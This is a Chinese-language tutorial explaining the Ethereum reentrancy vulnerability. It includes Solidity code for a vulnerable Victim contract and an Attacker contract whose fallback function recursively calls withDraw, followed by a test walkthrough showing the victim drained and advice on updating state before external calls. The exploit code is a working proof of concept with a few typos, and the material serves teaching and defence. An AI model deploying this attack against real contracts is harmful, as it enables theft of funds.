漏洞分析
以太坊智能合约的特点之一是能够调用其他外部合约的代码,然而这些外部合约可能被攻击者劫持,迫使合约通过回退函数进一步执行代码,包括回调本身。在 gas 足够的情况下,合约之间甚至可以相互循环调用,直至达到 gas 的上限,但是如果循环中有转账之类的操作,就会导致严重的后果
代码语言:javascript复制function withdraw(){
require(msg.sender,call.value(balances[msg.sender])());
balances[msg.sender]=0;
}
这种函数大多存在于钱包、去中心化交易所中,目的是为了让用户提款,将合约中的代币转换成通用的以太币
但是有个问题是他没有先对用户的代币余额进行清零,而智能合约进行转账的时候会调用收款方 fallback 函数
合约可以有一个未命名的函数 —— Fallback 函数。这个函数不能有参数也不能有返回值。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。 另外每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。如果不存在这样的函数,则合约不能通过常规交易接收以太币
如果构造一个 fallback 函数,函数里面也调用对方的 withdraw 函数的话,那将会产生一个循环调用转账功能,存在漏洞的合约会不断向攻击者合约转账,终止循环结束(以太坊 gas 有上限)
常用转币方式
<address>.reansfer()
发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入
<address>.send()
发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入
<address>.gas().call.value()()
当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击
代码调试
代码语言:javascript复制pragma solidity ^0.4.19;
contract Victim {
mapping(address => uint) public userBalannce;
uint public amount = 0;
function Victim() payable{}
function withDraw(){
uint amount = userBalannce[msg.sender];
if(amount > 0){
msg.sender.call.value(amount)();
userBalannce[msg.sender] = 0;
}
}
function() payable{}
function receiveEther() payable{
if(msg.value > 0){
userBalannce[msg.sender] = msg.value;
}
}
function showAccount() public returns (uint){
amount = this.balance;
return this.balance;
}
}
contract Attacker{
uint public amount = 0;
uint public test = 0;
function Attacker() payable{}
function() payable{
test ;
Victim(msg.sender).withDraw();
}
function showAccount() public returns (uint){
amount = this.balance;
return this.balance;
}
function sendMoney(address addr){
Victim(addr).receiveEther.value(1 ether)();
}
function reentry(address addr){
Victim(addr).withDraw();
}
}
部署 Attacker 合约,给 Attacker 合约 1 以太币
部署之后点击 showAccount 再点击 amount 看一下余额,成功
同样,部署 victim 合约,给他 10 以太币,目前账户余额如下:
调用 Attacker 合约的 sendMoney 函数,给 victim 转一个以太币
调用 Attacker 的 reentry 函数,进行攻击,然后看一下余额,发现原本在 victim 中的以太币全都到了 Attacker 合约中,同时 test 的值为 11,说明 fallback 函数被调用了 11 次
漏洞防范
重入漏洞的关键在于:利用回退函数调用函数本身,形成递归调用,在递归调用的过程中进行了转账操作,导致循环转账。虽然代码中存在判断语句,但是状态更新在函数调用之后,所以状态更新会因为循环调用而迟迟无法执行
广义上看,重入攻击条件有以下两个:
- 调用合约外部函数。若外部函数是被攻击者所操纵的合约,就存在隐患
- 外部函数操作优先于对状态的写操作
防范的关键在于编写合约的时候把写操作放在外部函数调用之前